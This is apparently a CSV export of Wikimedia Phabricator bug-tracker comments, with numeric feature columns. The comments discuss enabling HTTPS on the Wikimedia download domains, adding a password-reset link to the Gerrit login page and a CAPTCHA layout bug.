+279896,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","HTTPS got enabled. though the URL changed:
+
+https://releases.wikimedia.org/mediawiki/1.22/
+
+The old urls are now redirects which still have an invalid certificate, but last I checked ops isn't interested in serving valid or wildcard certs from redirect domains.
+
+E.g. 
+
+https://download.wikimedia.org/mediawiki/1.22/
+
+Results in a certificate warning due to it serving a cert for dumps.wikimedia.org",,,1411427599,,PHID-USER-sai77mtxmpqnm6pycyvz,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-41,True,0,0,0,0,1,1,1,0,1,0,1,1,0,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+279891,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","even though that change has been merged you won't see a difference, the templates being touched are not actually applied, see my last comment on the gerrit change",,,1405115469,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-51,True,0,0,0,1,1,1,0,0,1,0,0,1,0,0,0,1,0,1,1,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,1,0,0,0,0,0
+279888,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","Change 145619 merged by Dzahn:
+dumps: Point CSS background image to correct location
+
+https://gerrit.wikimedia.org/r/145619",,,1405114665,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,0
+279884,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","Change 145619 had a related patch set uploaded by JanZerebecki:
+dumps: Remove css background image that is 404
+
+https://gerrit.wikimedia.org/r/145619",,,1405106153,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,False,,,-51,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,1,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,1,1,0,0,0,0,0
+279877,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","(In reply to Bartosz Dziewoński from comment #4)
+> 
+> Has that link ever worked? The 'monobook' directory was renamed to
+> 'MonoBook', but this version doesn't work either. This should probably refer
+> to bits.wikimedia.org, or preferably the file should be copied to dumps.
+
+Is that file supposed to be https://upload.wikimedia.org/wikipedia/commons/a/a6/Headbg.jpg? Actually I guess we can just remove it, since I don't see why we need to include a background image on that page.",,,1404882569,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-52,True,0,0,0,1,1,1,1,0,0,0,1,1,0,0,0,1,0,1,1,0,1,1,1,0,1,0,0,0,1,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,1,0,1,0,1,0,1,0,0,1,1,0,1,0,0,1,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,1,0,1,1,1,1,0,0,0,0,1
+279869,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","(In reply to chmarkine from comment #3)
+> https://dumps.wikimedia.org/ homepage contains mixed content:
+> * http://en.wikipedia.org/skins-1.5/monobook/headbg.jpg
+> 
+> Please change it to protocol-relative URL or remove it entirely, since this
+> image doesn't exist (404).
+
+Has that link ever worked? The 'monobook' directory was renamed to 'MonoBook', but this version doesn't work either. This should probably refer to bits.wikimedia.org, or preferably the file should be copied to dumps.",,,1404854686,,PHID-USER-wkpnidxoctuhawexig5p,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-52,True,0,0,1,1,1,1,0,0,0,0,1,1,0,0,0,0,0,1,1,0,1,1,1,0,1,0,0,0,0,0,0,1,0,1,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,1,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,1,1,0,1,1,1,1,1,0,1,1,0,0,0,0,0,0,1
+279863,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","https://dumps.wikimedia.org/ homepage contains mixed content:
+* http://en.wikipedia.org/skins-1.5/monobook/headbg.jpg
+
+Please change it to protocol-relative URL or remove it entirely, since this image doesn't exist (404).",,,1404646733,,PHID-USER-arjqb24x4oae7awzpfp6,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-52,True,0,0,1,0,1,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,1,1,1,0,0,0,0,1,1,1,0,1,1,1,0,0,0,1,1,0,0,0,0,0,0,0
+279858,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org",opened rt for this: https://rt.wikimedia.org/Ticket/Display.html?id=7067,,,1395137453,,PHID-USER-jtxavgb3caz53o45csni,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-68,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,1,0,0,0,0,0,0,0
+279854,"Enable HTTPS for dumps.wikimedia.org, download.wikimedia.org and releases.wikimedia.org","There's probably a ticket in RT (<https://rt.wikimedia.org>) about this specific issue. Related:
+
+* bug 23004 comment 9
+* bug 32066",,,1386713722,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-2lfqzhpqgab6t3bmybvh,task_subcomment,,True,c3,1,True,,,-82,True,0,0,0,0,0,1,0,0,0,0,1,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,1
+60205,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"The login page showing no 'Forgot Password' link
+
+The gerrit login page doesn't have an option 'Forgot password' or 'reset password' so as to reset the password, if lost.
+This is an essential feature, which almost all login pages should have.
+
+https://gerrit.wikimedia.org/r/login/
+
+--------------------------
+**Version**: wmf-deployment
+**Severity**: enhancement
+
+**Attached**: {F12520}",Medium,50.0,1386583560,1646231523.0,PHID-USER-b3xlpjqyzhcppjoumu63,False,PHID-USER-orzyp3dswemhdgdznro5,False,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_description,resolved,True,c3,1,False,False,False,-82,True,1,0,0,0,1,1,1,0,0,1,1,1,0,1,0,0,0,1,1,0,1,1,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,0,1,1,0,1,0,0,1,1,1,0,1,0,0,0
+1873247,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),Thank you @Dzahn,,,1646231523,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,347,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,0,0,0,0
+1871929,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),{F34970162} deployed.  login page now has the reset password link.,,,1646068152,,PHID-USER-fo56wm4wxiwpoofn2xdu,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,347,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0
+1871927,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Change 766781 **merged** by Dzahn:
+%%%[operations/puppet@production] gerrit: on login page add link to reset password%%%
+https://gerrit.wikimedia.org/r/766781",,,1646067994,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,False,,,347,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,0,0,0,0,0,1
+1871853,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Change 766781 had a related patch set uploaded (by Hashar; author: Hashar):
+%%%[operations/puppet@production] gerrit: on login page add link to reset password%%%
+https://gerrit.wikimedia.org/r/766781",,,1646062161,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,False,,,347,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+1871848,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"The Sign Up link does send people to Wikitech: https://wikitech.wikimedia.org/w/index.php?title=Special:CreateAccount&returnto=Gerrit/NewUser , so at least to create an account people are directed to the source of trust.
+
+
+Gerrit theme configuration is described at https://gerrit.wikimedia.org/r/Documentation/config-themes.html `GerritSiteFooter.html` is apparently only used for the login page and ""the internally managed Gitweb servlet"" (which we are not using). 
+
+I will add a link to https://wikitech.wikimedia.org/wiki/Special:PasswordReset
+
+",,,1646061893,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,347,True,0,0,0,1,1,1,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,1,1,1,0,1,0,1,0
+1574732,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Nowadays we have a custom login page with two links beneath it {nav Code of Conduct} and {nav Privacy Policy}. I guess we can add one to https://wikitech.wikimedia.org/wiki/Special:PasswordReset .  That is defined by `modules/gerrit/files/homedir/review_site/etc/GerritSiteFooter.html` but that also reflects on every pages so it is not ideal.
+
+Or we can use a css hack  such as the one that adds the photo author name on the login page. That is defined in `modules/gerrit/files/homedir/review_site/etc/GerritSite.css`:
+```
+lang=css
+
+html.loginParent .gerritBody:after {
+    content: ""Image by Damien Boilley"";
+}
+```
+But that does not support HTML. So I guess we would need some javascript.",,,1599429541,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,270,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,1,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,1,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+1574731,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Nowadays we have a custom login page with two links beneath it {nav Code of Conduct} and {nav Privacy Policy}. I guess we can add one to https://wikitech.wikimedia.org/wiki/Special:PasswordReset .  That is defined by `modules/gerrit/files/homedir/review_site/etc/GerritSiteFooter.html` but that also reflects on every pages so it is not ideal.
+
+Or we can use a css hack  such as the one that adds the photo author name on the login page. That is defined in `modules/gerrit/files/homedir/review_site/etc/GerritSite.css`:
+```
+lang=css
+
+html.loginParent .gerritBody:after {
+    content: ""Image by Damien Boilley"";
+}
+```
+```",,,1599429414,,PHID-USER-orzyp3dswemhdgdznro5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,270,True,1,0,0,1,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1,0,1,0,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,1,0,0,0,1,0,1,0,0,1,0,1,1,1,0,0,0,0,0,0,1,0,0,0,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,1,0,1,1,1,0,1,0,1,1,1,1,0,0,0,0,1
+1224590,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Yup, now that we have the refreshed login page im just going to add the link :)",,,1550014839,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,188,True,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,1,0,1,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,1,0,0,1,1,0,0,1,1,0,0,0,0,1,0,0,0,0,1,0,0,0
+1224589,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),It should really just point you to wikitech.wikimedia.org's page about reseting your password instead?,,,1550014793,,PHID-USER-z3l4i7dl52qicxtephy5,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,188,True,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,1,0,0,0
+1218903,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),We can use js to do this :),,,1549300787,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,187,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,1,0,0,1,0,1,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+993662,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),Here's the upstream change to support this https://gerrit-review.googlesource.com/#/c/gerrit/+/151192/,,,1515538180,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,131,True,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0
+992287,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"I think we could potentially add support for this upstream if we follow how they do it for the error message.
+
+We should add a new gerrit config that add a forgetPassword link.
+
+Also side note, im updating the ui here https://gerrit.wikimedia.org/r/#/c/402665/ (Author of css / javascript is markusguenther).",,,1515413253,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,131,True,0,0,0,0,0,1,0,0,0,1,0,0,0,0,0,1,0,1,1,0,0,1,0,0,0,0,0,1,1,0,0,1,1,1,1,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,0,1,0,0,0
+948827,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),I would like to get upstream to support logging in / registering through rest api. That will allow us to get polygerrit to implement registering and creating accounts elements :).,,,1508182874,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,119,True,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,1,0,1,0,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,0,0,0,0,1,0,0,0,1,1,0,0,0
+860532,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),What we could do is convert https://github.com/GerritCodeReview/gerrit/blob/461cff743afa2858e8f3ab7c51aacc698ab0fa5e/gerrit-httpd/src/main/resources/com/google/gerrit/httpd/auth/ldap/LoginForm.html into a soy template which would allow us to introduce a new variable and if we set it in gerrit with the forgotten link then it will show.,,,1494948003,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,97,True,0,0,0,0,0,1,0,0,0,1,1,0,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,1,0,1,1,1,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,1,0,1,0,0,0,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,1,1,1,1,0,0,0,0
+819638,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),It seems polygerrit uses the default login screen that gerrit provides.,,,1488753370,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,87,True,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,0,1,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,0,1,0,1,0,0,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,0,0,0,0
+809786,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"You may need to add the support for both polygerrit and gwt ui.
+
+Upstream are more in favour of changes for polygerrit then gwt ui.",,,1487112248,,PHID-USER-bxp7xrbobtrp5o3q3swv,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,84,True,0,0,0,0,0,1,1,0,0,0,1,0,0,0,0,0,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,0,0,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,1,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,1,0,0
+809748,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"This can't be too hard. Let's see if we can get something upstreamed. Making it generally-configurable text (preferably w/ HTML) would be ideal, as then you could include login instructions (eg: ""Use your LDAP credentials, which are the same as Wikitech"") in addition to containing a link for password resetting.",,,1487109487,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,84,True,0,1,0,0,1,1,1,0,0,1,1,1,0,0,0,1,0,1,1,1,0,0,0,0,0,0,0,0,1,1,0,1,1,1,0,1,0,1,0,0,0,0,0,1,0,1,0,0,0,1,1,0,1,0,0,0,0,1,0,1,0,0,0,0,0,0,0,1,1,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,1,0,1,0,1,1,0,1,0,0,0
+761284,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),Been filed upstream since 2013: https://bugs.chromium.org/p/gerrit/issues/detail?id=1991,,,1479234970,,PHID-USER-oetk6bbl6omm354ejz3b,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,3,True,,,71,True,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,1,0,0,0,0,1,0,0,0,0,0,0,1
+274375,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"(In reply to comment #1)
+> Isn't that because we are using LDAP for authentication and all forgotten
+> passwords need to be recovered using labsconsole a.k.a. wikitech?
+> 
+> I could only imagine a link that sends you to
+> https://wikitech.wikimedia.org/wiki/Special:PasswordReset
+
+Shouldn't the gerrit login page have a link to the same too to fit user convenience?",,,1386603176,,PHID-USER-b3xlpjqyzhcppjoumu63,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,1,False,,,-82,True,1,0,0,1,1,1,1,1,0,0,1,1,0,1,0,1,0,1,1,0,1,1,0,0,0,0,0,0,1,0,0,1,1,0,1,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,0,0,1,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,1
+274367,Gerrit should feature customizable message on Login page (No 'Forgot password' link in the gerrit login page.),"Isn't that because we are using LDAP for authentication and all forgotten passwords need to be recovered using labsconsole a.k.a. wikitech?
+
+I could only imagine a link that sends you to https://wikitech.wikimedia.org/wiki/Special:PasswordReset",,,1386590887,,PHID-USER-qduasitr62ffvc5eiivd,False,,,PHID-TASK-6lp2j6dn3lmm4r3zb5u7,task_subcomment,,True,c3,1,True,,,-82,True,1,0,0,1,1,1,1,1,0,0,0,1,0,1,0,1,0,1,1,0,1,0,0,0,0,0,0,0,1,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,1,0,1,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,0,1,1,1,1,1,1,0,0,0,0,1,0,0,0,1,1,1,1,0,0,1,1,1,1,0,1,0,0,0
+59821,Special:UserLogin captcha image overflows the container,"**Author:** `jaredflores2000`
+
+**Description:**
+Shows effect of different fonts used to generate CAPTCHA
+
+The CAPTCHA on the login/signup page in Special:UserLogin overflows the container because it doesn't have any specified size parameter to constrain it.
+
+--------------------------
+**Version**: unspecified
+**Severity**: trivial
+
+**Attached**: {F12591}",Medium,50.0,1385940360,1497287849.0,PHID-USER-ynivjflmc2dcl6w5ut5v,False,PHID-USER-6vzzsmi22zem6yttr6vp,False,PHID-TASK-ycboflut72iwg462vpbe,task_description,declined,True,c3,1,False,False,False,-83,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,0,0,0,1,0,1,0,0,0,0,0,0,0,0,0,0,1,1,1,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,0,0,1,0,1,1,0,1,0,0,0,0,1,0,0,0,1,1,1,0,0,0,1,0,0,0,0,0,0,0,0
+394818,Special:UserLogin captcha image overflows the container,"+1 to Mattflashen: Can't reproduce in my dev environment and never saw in wmf wikis :/
+
+The design of the login form looks like MW1.21 or similar, have you tried to update your MediaWiki and ConfirmEdit version?",,,1420235308,,PHID-USER-c5xwrfdyp3dckkh2nkoj,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,True,,,-26,True,0,0,0,0,1,1,0,0,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,1,0,0,0,0,0,1,1,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,1,1,0,1,0,0,1,0,0,0,1,1,1,1,0,0,1,0,0,0,0,0,0,0,0
+276017,Special:UserLogin captcha image overflows the container,"(In reply to Jared Flores from comment #0)
+> Created attachment 13951 [details]
+> Shows effect of different fonts used to generate CAPTCHA
+> 
+> The CAPTCHA on the login/signup page in Special:UserLogin overflows the
+> container because it doesn't have any specified size parameter to constrain
+> it.
+
+How did you generate that CAPTCHA, and (relatedly) on what site did you take that screenshot?
+
+I've never seen that in WMF production, so I suspect your system may be using the wrong fonts.
+
+**Attached**: {F12591}",,,1416019176,,PHID-USER-dw53c5cb2qfhyemej57o,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,True,,,-33,True,1,0,0,0,1,1,0,1,0,0,1,1,0,0,0,1,0,1,1,0,1,0,0,0,1,0,0,0,1,0,0,1,1,1,1,1,0,0,0,0,0,0,0,1,0,0,0,0,1,1,0,1,1,0,0,1,0,1,1,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,1,0,0,1,0,1,0,0,1,0,0,1
+276011,Special:UserLogin captcha image overflows the container,"Change 167231 had a related patch set uploaded by Ankitashukla:
+Width to prevent captcha overflow from container
+
+https://gerrit.wikimedia.org/r/167231",,,1413566110,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,False,,,-37,True,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,1,0,1,0,0,0,1,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,1,0,0,0,0,0,0,0,0,0,1,0,1,0,0,1,0,0,0,0,1,0,1,0,0,1,1,0,0,0,0,1,0,1,0,0,0,0,0
+276007,Special:UserLogin captcha image overflows the container,"(In reply to Jared Flores from comment #0)
+> Created attachment 13951 [details]
+> Shows effect of different fonts used to generate CAPTCHA
+> 
+> The CAPTCHA on the login/signup page in Special:UserLogin overflows the
+> container because it doesn't have any specified size parameter to constrain
+> it.
+
+The size parameter probably isn't the best way of doing this. If we shrink, or cut off the captcha, it becomes unreadable or unusable. the box should just expand with the captcha...
+
+**Attached**: {F12591}",,,1413405765,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-ycboflut72iwg462vpbe,task_subcomment,,True,c3,1,True,,,-38,True,1,0,0,0,1,1,1,1,0,1,1,1,0,0,0,1,0,1,1,0,1,1,0,0,1,0,0,0,0,0,0,1,1,1,1,0,0,0,0,0,0,0,0,1,0,0,0,0,0,1,1,0,0,1,0,1,0,1,0,0,1,1,0,0,0,0,0,1,1,1,1,1,1,0,0,0,1,1,0,1,0,1,1,1,0,0,0,1,0,0,0,0,1,0,1,1
+59731,[RFC] make SpecialChangePassword form text depending on login status of $wgUser,"make SpecialChangePassword form text depending on login status of $wgUser
+
+During development of Extension:OpenID I found, that I have to apply a small patch to ChangePassword for the case that I want the pre-login user to enter their temporary password.
+
